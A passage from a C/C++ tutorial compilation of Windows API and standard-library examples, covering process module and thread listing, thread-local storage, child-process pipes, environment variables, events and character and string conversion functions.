if(hModuleSnap == INVALID_HANDLE_VALUE)
{
printError("CreateToolhelp32Snapshot(of modules)");
return (FALSE);
}

// Set the size of the structure before using it...


me32.dwSize = sizeof(MODULEENTRY32);

// Retrieve information about the first module,


// and exit if unsuccessful
printf("\n\n*****************************************");
printf("\nList of process module & their info...\n");
printf("*****************************************");

if (!Module32First(hModuleSnap, &me32))
{
printError("Module32First()"); // Show cause of failure
CloseHandle(hModuleSnap); // Must clean up the snapshot object
return (FALSE);
}

// Now walk the module list of the process,


// and display information about each module...
do
{
printf("\n\n MODULE NAME: %s", me32.szModule);
printf("\n executable = %s", me32.szExePath);
printf("\n process ID = 0x%08X", me32.th32ProcessID);
printf("\n ref count (g) = 0x%04X", me32.GlblcntUsage);
printf("\n ref count (p) = 0x%04X", me32.ProccntUsage);
printf("\n base address = %p", me32.modBaseAddr);

file:///C|/Tutorial.txt (807 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("\n base size = %d", me32.modBaseSize);

} while(Module32Next(hModuleSnap, &me32));

// Don't forget to clean up the snapshot object.


CloseHandle(hModuleSnap);
return (TRUE);
}

// =================List the process threads=====================


BOOL ListProcessThreads(DWORD dwOwnerPID)
{
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
THREADENTRY32 te32;

// Take a snapshot of all running threads


hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThreadSnap == INVALID_HANDLE_VALUE)
return (FALSE);

// Fill in the size of the structure before using it.


te32.dwSize = sizeof(THREADENTRY32);

// Retrieve information about the first thread,


// and exit if unsuccessful
printf("\n\n*****************************************");
printf("\nList of process thread & their info...\n");
printf("*****************************************");
if(!Thread32First(hThreadSnap, &te32))
{
printError("Thread32First()"); // Show cause of failure
CloseHandle(hThreadSnap); // Must clean up the snapshot object
return (FALSE);
}

// Now walk the thread list of the system,


// and display information about each thread
// associated with the specified process
do
{
if (te32.th32OwnerProcessID == dwOwnerPID)
{
printf("\n\n THREAD ID = 0x%08X", te32.th32ThreadID);
printf("\n base priority = %d", te32.tpBasePri);
printf("\n delta priority = %d", te32.tpDeltaPri);
}
} while (Thread32Next(hThreadSnap, &te32));

// Don't forget to clean up the snapshot object.


CloseHandle(hThreadSnap);
return (TRUE);
}

void printError(TCHAR* msg)


{
DWORD eNum;

file:///C|/Tutorial.txt (808 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

TCHAR sysMsg[256];
TCHAR* p;

eNum = GetLastError();
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, eNum, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
sysMsg, 256, NULL);

// Trim the end of the line and terminate it with a null


p = sysMsg;
while ((*p > 31) || (*p == 9))
++p;
do { *p-- = 0; }
while ((p >= sysMsg) && ((*p == '.') || (*p < 33)));

// Display the message


printf("\n WARNING: %s failed with error %d (%s)", msg, eNum, sysMsg);
}

-----------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#define THREADCOUNT 5

DWORD dwTlsIndex;

// Function declarations and definitions...


VOID ErrorExit(LPTSTR lpszMessage)
{
fprintf(stderr, "%s\n", lpszMessage);
ExitProcess(0);
}

void MyCommonFunction(void)
{
LPVOID lpvData;

// Retrieve a data pointer for the current thread...


lpvData = TlsGetValue(dwTlsIndex);

if ((lpvData == 0) && (GetLastError() != 0))


ErrorExit("TlsGetValue() error!\n");
else
printf("TlsGetValue() is OK.\n");

// Use the data stored for the current thread...


printf("Common: thread %d: lpvData = %lx\n\n", GetCurrentThreadId(), lpvData);
}

DWORD WINAPI MyThreadFunc(void)


{
LPVOID lpvData;

file:///C|/Tutorial.txt (809 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Initialize the TLS index for this thread.


lpvData = (LPVOID) LocalAlloc(LPTR, 256);

if (!TlsSetValue(dwTlsIndex, lpvData))
ErrorExit("TlsSetValue() error!\n");
else
printf("TlsSetValue() is OK.\n");

printf("Thread %d: lpvData = %lx\n", GetCurrentThreadId(), lpvData);

MyCommonFunction();

// Release the dynamic memory before the thread returns...


lpvData = TlsGetValue(dwTlsIndex);
if (lpvData != 0)
LocalFree((HLOCAL) lpvData);

return 0;
}

DWORD main(void)
{
DWORD IDThread;
HANDLE hThread[THREADCOUNT];
int i;

printf("Thread count is: %d\n", THREADCOUNT);

// Allocate a TLS index...


if ((dwTlsIndex = TlsAlloc()) == -1)
ErrorExit("TlsAlloc() failed");
else
printf("\nTlsAlloc() is OK.\n\n");

// Create multiple threads...


for (i = 0; i < THREADCOUNT; i++)
{
hThread[i] = CreateThread(NULL, // no security attributes
0, // use default stack size
(LPTHREAD_START_ROUTINE) MyThreadFunc, // thread function
NULL, // no thread function argument
0, // use default creation flags
&IDThread); // returns thread identifier

// Check the return value for success...


if (hThread[i] == NULL)
ErrorExit("CreateThread() error.\n");
else
printf("hThread[%d] is OK.\n", i);
}

for (i = 0; i < THREADCOUNT; i++)


WaitForSingleObject(hThread[i], INFINITE);

if (TlsFree(dwTlsIndex) == 0)
printf("TlsFree() failed!\n");

file:///C|/Tutorial.txt (810 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
printf("TlsFree() is OK!\n");

return 0;
}
-----------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

#define BUFSIZE 4096

HANDLE hChildStdinRd, hChildStdinWr, hChildStdinWrDup,


hChildStdoutRd, hChildStdoutWr, hChildStdoutRdDup,
hInputFile, hStdout;

// Prototypes...
BOOL CreateChildProcess(VOID);
VOID WriteToPipe(VOID);
VOID ReadFromPipe(VOID);
VOID MyErrorExit(LPTSTR);
VOID ErrMsg(LPTSTR, BOOL);

// This program takes a single command-line argument, the name of a text file
DWORD main(int argc, char *argv[])
{
SECURITY_ATTRIBUTES saAttr;
BOOL fSuccess;

// Set the bInheritHandle flag so pipe handles are inherited.


saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;

// Get the handle to the current STDOUT.


hStdout = GetStdHandle(STD_OUTPUT_HANDLE);

// Create a pipe for the child process's STDOUT.


if (!CreatePipe(&hChildStdoutRd, &hChildStdoutWr, &saAttr, 0))
MyErrorExit("CreatePipe(), a pipe for the child process's STDOUT creation failed\n");
else
printf("CreatePipe(), a pipe for the child process's STDOUT creation is OK.\n");

// Create noninheritable read handle and close the inheritable read handle.
fSuccess = DuplicateHandle(GetCurrentProcess(), hChildStdoutRd,
GetCurrentProcess(), &hChildStdoutRdDup , 0,
FALSE, DUPLICATE_SAME_ACCESS);
if (!fSuccess)
{
MyErrorExit("DuplicateHandle() for noninheritable read handle failed");
CloseHandle(hChildStdoutRd);
}
else
printf("DuplicateHandle() for noninheritable read handle is OK.\n");

file:///C|/Tutorial.txt (811 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Create a pipe for the child process's STDIN.


if (!CreatePipe(&hChildStdinRd, &hChildStdinWr, &saAttr, 0))
MyErrorExit("A pipe for the child process's STDIN creation failed\n");
else
printf("A pipe for the child process's STDIN creation is OK.\n");

// Duplicate the write handle to the pipe so it is not inherited.


fSuccess = DuplicateHandle(GetCurrentProcess(), hChildStdinWr,
GetCurrentProcess(), &hChildStdinWrDup, 0,
FALSE, // not inherited
DUPLICATE_SAME_ACCESS);

if (!fSuccess)
MyErrorExit("DuplicateHandle() for the write handle to the pipe failed");
else
printf("DuplicateHandle() for the write handle to the pipe is OK.\n");

CloseHandle(hChildStdinWr);

// Now create the child process.


fSuccess = CreateChildProcess();
if (! fSuccess)
MyErrorExit("CreateChildProcess(), a child process failed");
else
printf("CreateChildProcess(), a child process is OK.\n");

// Get a handle to the parent's input file.


printf("Getting a handle to the parent's input file.\n");
if (argc == 1)
MyErrorExit("Please specify an input file!");
else
printf("An input file is %s\n.", argv[1]);

hInputFile = CreateFile(argv[1], GENERIC_READ, 0, NULL,


OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);

if (hInputFile == INVALID_HANDLE_VALUE)
MyErrorExit("CreateFile(), open existing failed\n");
else
printf("CreateFile(), open existing %s is OK.\n", argv[1]);

// Write to pipe that is the standard input for a child process.


printf("Try writing to pipe...\n");
WriteToPipe();

// Read from pipe that is the standard output for child process.
printf("Try reading from pipe...\n");
ReadFromPipe();

return 0;
}

//================================================================
BOOL CreateChildProcess()
{

file:///C|/Tutorial.txt (812 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

PROCESS_INFORMATION piProcInfo;
STARTUPINFO siStartInfo;
BOOL bFuncRetn = FALSE;

// Set up members of the PROCESS_INFORMATION structure.


ZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION));

// Set up members of the STARTUPINFO structure.


ZeroMemory(&siStartInfo, sizeof(STARTUPINFO));
siStartInfo.cb = sizeof(STARTUPINFO);
siStartInfo.hStdError = hChildStdoutWr;
siStartInfo.hStdOutput = hChildStdoutWr;
siStartInfo.hStdInput = hChildStdinRd;
siStartInfo.dwFlags |= STARTF_USESTDHANDLES;

// Create the child process.


bFuncRetn = CreateProcess(NULL, // Use the following command line
"c:\\Windows\\system32\\systeminfo.exe", // command line
NULL, // process security attributes
NULL, // primary thread security attributes
TRUE, // handles are inherited
0, // creation flags
NULL, // use parent's environment
NULL, // use parent's current directory
&siStartInfo, // STARTUPINFO pointer
&piProcInfo); // receives PROCESS_INFORMATION

if (bFuncRetn == 0)
MyErrorExit("CreateProcess() for child failed.");
else
{
printf("CreateProcess for child is OK.\n");
CloseHandle(piProcInfo.hProcess);
CloseHandle(piProcInfo.hThread);
return bFuncRetn;
}
}

//================================================================
VOID WriteToPipe(VOID)
{
DWORD dwRead, dwWritten;
CHAR chBuf[BUFSIZE];

// Read from a file and write its contents to a pipe.


printf("In WriteToPipe(), try to read from a file and write its contents to a pipe.\n");
for (;;) // More read control should be implemented here such as EOF etc...
{
if (!(ReadFile(hInputFile, chBuf, BUFSIZE, &dwRead, NULL) || dwRead == 0))
printf("ReadFile() failed.\n");
break;

if (!WriteFile(hChildStdinWrDup, chBuf, dwRead, &dwWritten, NULL))


printf("WriteFile() failed.\n");
break;
}

file:///C|/Tutorial.txt (813 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Close the pipe handle so the child process stops reading.


if (!CloseHandle(hChildStdinWrDup))
MyErrorExit("Close pipe failed");
}

//================================================================
VOID ReadFromPipe(VOID)
{
DWORD dwRead, dwWritten;
CHAR chBuf[BUFSIZE];

// Close the write end of the pipe before reading from the read end of the pipe.
if (!CloseHandle(hChildStdoutWr))
MyErrorExit("CloseHandle() failed");
else
printf("CloseHandle() is OK.\n");

// Read output from the child process, and write to parent's STDOUT.
printf("In ReadFromPipe(), try to read output from the child process, and write to parent's STDOUT.\n");
for (;;) // More read control should be implemented here such as EOF etc...
{
if (!ReadFile(hChildStdoutRdDup, chBuf, BUFSIZE, &dwRead, NULL) || dwRead == 0)
printf("ReadFile() failed.\n");
break;

if (!WriteFile(hStdout, chBuf, dwRead, &dwWritten, NULL))


printf("WriteFile() failed.\n");
break;
}
}

//================================================================
VOID MyErrorExit(LPTSTR lpszMessage)
{
fprintf(stderr, "%s\n", lpszMessage);
// Exit peacefully...
ExitProcess(0);
}

-----------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#define BUFSIZE 4096

int main(void)
{
CHAR chBuf[BUFSIZE];
DWORD dwRead, dwWritten;
HANDLE hStdin, hStdout;
BOOL fSuccess;

hStdout = GetStdHandle(STD_OUTPUT_HANDLE);

file:///C|/Tutorial.txt (814 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

hStdin = GetStdHandle(STD_INPUT_HANDLE);

if ((hStdout == INVALID_HANDLE_VALUE) || (hStdin == INVALID_HANDLE_VALUE))


// Exit with error...
ExitProcess(1);
else
printf("GetStdHandle() for standard input and output is OK.\n");

for (;;) // May use other program control here to stop automatically :o)
{
// Read from standard input.
fSuccess = ReadFile(hStdin, chBuf, BUFSIZE, &dwRead, NULL);
if (!(fSuccess || dwRead == 0))
{
printf("ReadFile(), from standard input failed.\n");
break;
}
else
printf("ReadFile(), from standard input is OK.\n");

// Write to standard output...


fSuccess = WriteFile(hStdout, chBuf, dwRead, &dwWritten, NULL);
if (!fSuccess)
{
printf("WriteFile(), to standard output failed.\n");
break;
}
else
printf("WriteFile(), to standard output is OK.\n");
}
return 0;
}

-----------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
// Make sure do not exceed the maximum of the environment block size
// supported by your Windows OS version...else there will be an error
// message...
#define BUFSIZE 1024

void MyErrorExit(LPTSTR lpszMessage)


{
fprintf(stderr, "%s\n", lpszMessage);
// Exit peacefully...
ExitProcess(0);
}

int main()
{
LPTSTR lpszCurrentVariable;
TCHAR tchNewEnv[BUFSIZE];
BOOL fSuccess;

file:///C|/Tutorial.txt (815 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

STARTUPINFO siStartInfo;
PROCESS_INFORMATION piProcInfo;

ZeroMemory(&siStartInfo, sizeof(siStartInfo));
siStartInfo.cb = sizeof(siStartInfo);
ZeroMemory(&piProcInfo, sizeof(piProcInfo));

// Copy environment strings into an environment block.


lpszCurrentVariable = tchNewEnv;

if (lstrcpy(lpszCurrentVariable, "MyTestVersion=SP 2.0") == NULL)


MyErrorExit("lstrcpy() for new environment string failed.");
else
printf("lstrcpy() for new environment string is OK.\n");

lpszCurrentVariable += lstrlen(lpszCurrentVariable) + 1;

if (lstrcpy(lpszCurrentVariable, "MyTestSetting=TestValue") == NULL)


MyErrorExit("lstrcpy() for new environment string failed.");
else
printf("lstrcpy() for new environment string is OK.\n");

// Terminate the block with a NULL byte.


lpszCurrentVariable += lstrlen(lpszCurrentVariable) + 1;

*lpszCurrentVariable = '\0';

// Create the child process, specifying a new environment block.


fSuccess = CreateProcess(NULL, "c:\\windows\\system32\\mem.exe", NULL, NULL, TRUE, 0,
(LPVOID) tchNewEnv, // new environment block, here just 2 entries, a dummy...
NULL, &siStartInfo, &piProcInfo);

if (!fSuccess)
MyErrorExit("CreateProcess(), with new environment block failed.");
else
printf("CreateProcess(), with new environment block is OK.\n");

return 0;
}

-----------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#define BUFSIZE 4029

void MyErrorExit(LPTSTR lpszMessage)


{
fprintf(stderr, "%s\n", lpszMessage);
// Exit peacefully...
ExitProcess(0);
}

file:///C|/Tutorial.txt (816 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main()
{
LPTSTR lpszOldValue;
TCHAR tchBuf[BUFSIZE];
BOOL fSuccess;
STARTUPINFO siStartInfo;
PROCESS_INFORMATION piProcInfo;

ZeroMemory(&siStartInfo, sizeof(siStartInfo));
siStartInfo.cb = sizeof(siStartInfo);
ZeroMemory(&piProcInfo, sizeof(piProcInfo));

// lpszOldValue gets current value of "MYTESTVAR", or NULL if "MYTESTVAR"


// environment variable does not exist. Set "MYTESTVAR" to new value ("mynewstringvalue"),
// create child process, then use SetEnvironmentVariable() to restore
// original value of "MYTESTVAR". If lpszOldValue is NULL, the "MYTESTVAR"
// variable will be deleted.
lpszOldValue = ((GetEnvironmentVariable("MYTESTVAR", tchBuf, BUFSIZE) > 0) ? tchBuf : NULL);

// Set a new value for the child process to inherit, "mynewstringvalue".


if (!SetEnvironmentVariable("MYTESTVAR", "mynewstringvalue"))
MyErrorExit("SetEnvironmentVariable() for child process failed.");
else
printf("SetEnvironmentVariable() for child process is OK.\n");

// Create a child process.


fSuccess = CreateProcess(NULL, "c:\\windows\\system32\\mem.exe", NULL, NULL, TRUE, 0,
NULL, // inherit parent's environment
NULL, &siStartInfo, &piProcInfo);
if (!fSuccess)
MyErrorExit("CreateProcess(), child failed.");
else
printf("CreateProcess(), child is OK.\n");

// Restore the parent's environment.


if (!SetEnvironmentVariable("MYTESTVAR", lpszOldValue))
MyErrorExit("SetEnvironmentVariable(), restore the parent's environment variables failed.");
else
printf("CreateProcess(), restore the parent's environment variables is OK.\n");

return 0;
}

-----------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

void MyErrorExit(LPTSTR lpszMessage)


{
fprintf(stderr, "%s\n", lpszMessage);
// Exit peacefully...
ExitProcess(0);
}

file:///C|/Tutorial.txt (817 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main(int argc, char argv[])


{
LPTSTR lpszVariable;
LPVOID lpvEnv;

// Get a pointer to the environment block.


lpvEnv = GetEnvironmentStrings();

// If the returned pointer is NULL, exit.


if (lpvEnv == NULL)
MyErrorExit("GetEnvironmentStrings() failed.");
else
printf("GetEnvironmentStrings() is OK.\n\n");

// Variable strings are separated by NULL byte, and the block is


// terminated by a NULL byte.
for (lpszVariable = (LPTSTR) lpvEnv; *lpszVariable; lpszVariable++)
{
while (*lpszVariable)
putchar(*lpszVariable++);
putchar('\n');
}

if(FreeEnvironmentStrings((LPSTR)lpvEnv) == 0)
printf("GetEnvironmentStrings() failed.\n");
else
printf("\nGetEnvironmentStrings() is OK.\n");

return 0;
}
-----------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

int main()
{
HANDLE hEvents[2];
DWORD i, dwEvent;

// Create two event objects.


for (i = 0; i < 2; i++)
{
hEvents[i] = CreateEvent(
NULL, // no security attributes
FALSE, // auto-reset event object
FALSE, // initial state is non-signaled
NULL); // unnamed object

if (hEvents[i] == NULL)
{
printf("CreateEvent() error: %d\n", GetLastError());
ExitProcess(0);

file:///C|/Tutorial.txt (818 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

}
else
printf("CreateEvent() #%d is OK.\n", i);
}

// The creating thread waits for other threads or processes


// to signal the event objects.
dwEvent = WaitForMultipleObjects(
2, // number of objects in array
hEvents, // array of objects
FALSE, // wait for any
5000); // 5000 ms

// Return value indicates which event is signaled.


switch (dwEvent)
{
// hEvent[0] was signaled.
case WAIT_OBJECT_0 + 0:
{
// TODO: Perform tasks required by this event.
printf("hEvent[%d] was signaled.\n", i);
break;
}

// hEvent[1] was signaled.


case WAIT_OBJECT_0 + 1:
{
// TODO: Perform tasks required by this event.
printf("hEvent[%d] was signaled.\n", i);
break;
}

// Return value is invalid.


default:
printf("Wait error: %d\n", GetLastError());
// Exit peacefully...
ExitProcess(0);
}
return 0;
}

============================MODULEV========================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |

file:///C|/Tutorial.txt (819 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================

-------------------------------No source in this Module---------------------------------------


============================ModuleX=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change

file:///C|/Tutorial.txt (820 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//Using functions isdigit(), isalpha(), isalnum(), and isxdigit()


//but using C++ :o), cout…
#include <iostream.h>
#include <stdlib.h>
#include <ctype.h>

int main()
{
cout<<"Using functions isdigit(), isalpha(),"<<endl;
cout<<"isalnum(), and isxdigit()"<<endl;
cout<<"-------------------------------------"<<endl;

cout<<"\nAccording to isdigit():"<<endl;
isdigit('8') ? cout<<"8 is a digit\n" : cout<<"8 is not a digit\n";
isdigit('#') ? cout<<"# is a digit\n" : cout<<"# is not a digit\n";

cout<<"\nAccording to isalpha():"<<endl;
isalpha('A') ? cout<<"A is a letter\n" : cout<<"A is not a letter\n";
isalpha('b') ? cout<<"b is a letter\n" : cout<<"b is not a letter\n";
isalpha('&') ? cout<<"& is a letter\n" : cout<<"& is not a letter\n";
isalpha('4') ? cout<<"4 is a letter\n" : cout<<"4 is not a letter\n";

file:///C|/Tutorial.txt (821 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

cout<<"\nAccording to isalnum():"<<endl;
isalnum('A') ? cout<<"A is a digit or a letter\n" : cout<<"A is not a digit or a letter\n";
isalnum('8') ? cout<<"8 is a digit or a letter\n" : cout<<"8 is not a digit or a letter\n";
isalnum('#') ? cout<<"# is a digit or a letter\n" : cout<<"# is not a digit or a letter\n";

cout<<"\nAccording to isxdigit():"<<endl;
isxdigit('F') ? cout<<"F is a hexadecimal\n" : cout<<"F is not a hexadecimal\n";
isxdigit('J') ? cout<<"J is a hexadecimal\n" : cout<<"J is not a hexadecimal\n";
isxdigit('7') ? cout<<"7 is a hexadecimal\n" : cout<<"7 is not a hexadecimal\n";
isxdigit('$') ? cout<<"$ is a hexadecimal\n" : cout<<"$ is not a hexadecimal\n";
isxdigit('f') ? cout<<"f is a hexadecimal\n" : cout<<"f is not a hexadecimal\n";

system("pause");
return 0;
}

------------------------------------------VC++/VC++ .Net----------------------------------------------------

//Using functions isdigit(), isalpha(), isalnum(), and isxdigit()


//but using C++, VC++/VC++ .Net
#include <iostream>
#include <cstdlib>
using namespace std;

int main()
{
cout<<"Using functions isdigit(), isalpha(),"<<endl;
cout<<"isalnum(), and isxdigit()"<<endl;
cout<<"-------------------------------------"<<endl;

cout<<"\nAccording to isdigit():"<<endl;
isdigit('8') ? cout<<"8 is a digit\n" : cout<<"8 is not a digit\n";
isdigit('#') ? cout<<"# is a digit\n" : cout<<"# is not a digit\n";

cout<<"\nAccording to isalpha():"<<endl;
isalpha('A') ? cout<<"A is a letter\n" : cout<<"A is not a letter\n";
isalpha('b') ? cout<<"b is a letter\n" : cout<<"b is not a letter\n";
isalpha('&') ? cout<<"& is a letter\n" : cout<<"& is not a letter\n";
isalpha('4') ? cout<<"4 is a letter\n" : cout<<"4 is not a letter\n";

cout<<"\nAccording to isalnum():"<<endl;
isalnum('A') ? cout<<"A is a digit or a letter\n" : cout<<"A is not a digit or a letter\n";
isalnum('8') ? cout<<"8 is a digit or a letter\n" : cout<<"8 is not a digit or a letter\n";
isalnum('#') ? cout<<"# is a digit or a letter\n" : cout<<"# is not a digit or a letter\n";

cout<<"\nAccording to isxdigit():"<<endl;
isxdigit('F') ? cout<<"F is a hexadecimal\n" : cout<<"F is not a hexadecimal\n";
isxdigit('J') ? cout<<"J is a hexadecimal\n" : cout<<"J is not a hexadecimal\n";
isxdigit('7') ? cout<<"7 is a hexadecimal\n" : cout<<"7 is not a hexadecimal\n";
isxdigit('$') ? cout<<"$ is a hexadecimal\n" : cout<<"$ is not a hexadecimal\n";
isxdigit('f') ? cout<<"f is a hexadecimal\n" : cout<<"f is not a hexadecimal\n";

system("pause");
return 0;
}

file:///C|/Tutorial.txt (822 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

------------------------------------------VC++/VC++ .Net----------------------------------------------------

//Using functions islower(), isupper(), tolower(), toupper()


//For VC++/VC++ .Net use the following header files...
//#include <iostream>
//#include <cstdlib>
//using namespace std;

#include <iostream.h>
#include <stdlib.h>
#include <ctype.h>

int main()
{

cout<<"Using functions islower(), isupper(),"<<endl;


cout<<"tolower(), toupper()"<<endl;
cout<<"-------------------------------------"<<endl;

cout<<"\nAccording to islower():"<<endl;
islower('p') ? cout<<"p is a lowercase letter\n" : cout<<"p is not a lowercase letter\n";
islower('P') ? cout<<"P is a lowercase letter\n" : cout<<"P is not a lowercase letter\n";
islower('5') ? cout<<"5 is a lowercase letter\n" : cout<<"5 is not a lowercase letter\n";
islower('!') ? cout<<"! is a lowercase letter\n" : cout<<"! is not a lowercase letter\n";

cout<<"\nAccording to isupper():"<<endl;
isupper('D') ? cout<<"D is a uppercase letter\n" : cout<<"D is not a uppercase letter\n";
isupper('d') ? cout<<"d is a uppercase letter\n" : cout<<"d is not a uppercase letter\n";
isupper('8') ? cout<<"8 is a uppercase letter\n" : cout<<"8 is not a uppercase letter\n";
isupper('$') ? cout<<"$ is a uppercase letter\n" : cout<<"$ is not a uppercase letter\n";

cout<<"\nConversion...."<<endl;
cout<<"u converted to uppercase is "<<(char)toupper('u')<<endl;
cout<<"7 converted to uppercase is "<<(char)toupper('7')<<endl;
cout<<"$ converted to uppercase is "<<(char)toupper('$')<<endl;
cout<<"L converted to lowercase is "<<(char)tolower('L')<<endl;
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//using functions isspace(), iscntrl(), ispunct(),


//isprint(), isgraph()
#include <iostream.h>
#include <stdlib.h>
#include <ctype.h>

int main()
{
cout<<"using functions isspace(), iscntrl(),"<<endl;
cout<<"ispunct(), isprint(), isgraph()"<<endl;
cout<<"-------------------------------------"<<endl;

cout<<"According to isspace(): "<<endl;

file:///C|/Tutorial.txt (823 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

isspace('\n') ? cout<<"Newline is a whitespace character\n" :


cout<<"Newline is not a whitespace character\n";
isspace('\t') ? cout<<"Horizontal tab is a whitespace character\n" :
cout<<"Horizontal tab is not a whitespace character\n";
isspace('%') ? cout<<"% is a whitespace character\n" :
cout<<"% is not a whitespace character\n";

cout<<"\nAccording to iscntrl(): "<<endl;


iscntrl('\n') ? cout<<"Newline is a control character\n" :
cout<<"Newline is not a control character\n";
iscntrl('$') ? cout<<"$ is a control character\n" :
cout<<"$ is not a control character\n";

cout<<"\nAccording to ispunct(): "<<endl;


ispunct('y') ? cout<<"y is a punctuation character\n" :
cout<<"y is not a punctuation character\n";
ispunct('\'') ? cout<<"\' is a punctuation character\n" :
cout<<"\' is not a punctuation character\n";
ispunct('"') ? cout<<"\" is a punctuation character\n" :
cout<<"\" is not a punctuation character\n";

cout<<"\nAccording to isprint(): "<<endl;


isprint('$') ? cout<<"$ is a printing character\n" :
cout<<"$ is not a printing character\n";
isprint('\a') ? cout<<"Alert is a printing character\n" :
cout<<"Alert is not a printing character\n";

cout<<"\nAccording to isgraph(): "<<endl;


isgraph('Q') ? cout<<"Q is a printing character other than a space\n" :
cout<<"Q is not a printing character other than a space\n";
isgraph(' ') ? cout<<"Space is a printing character other than a space\n":
cout<<"Space is not a printing character other than a space\n";
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//using atof() - converting string to double


#include <stdio.h>
#include <stdlib.h>

int main()
{
double dou;
dou = atof("95.0");

printf("Using atof() - converting string to double\n");


printf("------------------------------------------\n\n");

printf("The string \"95.0\" when converted to double is %.3f\n", dou);


printf("The converted value, %.3f divided by 2 is %.3f\n", dou, dou / 2.0);

system("pause");
return 0;
}

file:///C|/Tutorial.txt (824 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

--------------------------------------------------------------------------------------------------------

//using atoi() - converting string to integer


#include <stdio.h>
#include <stdlib.h>

int main()
{
int i;
i = atoi("1234");

printf("Using atoi() - converting string to integer\n");


printf("-------------------------------------------\n\n");

printf("The string \"1234\" converted to int is %d\n", i);


printf("The converted value %d minus 123 is %d\n", i, i - 123);
system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------

//Using atol() - converting string to long


#include <stdio.h>
#include <stdlib.h>

int main()
{
long newlong;
newlong = atol("123456");

printf("Using atol() - converting string to long\n");


printf("----------------------------------------\n\n");

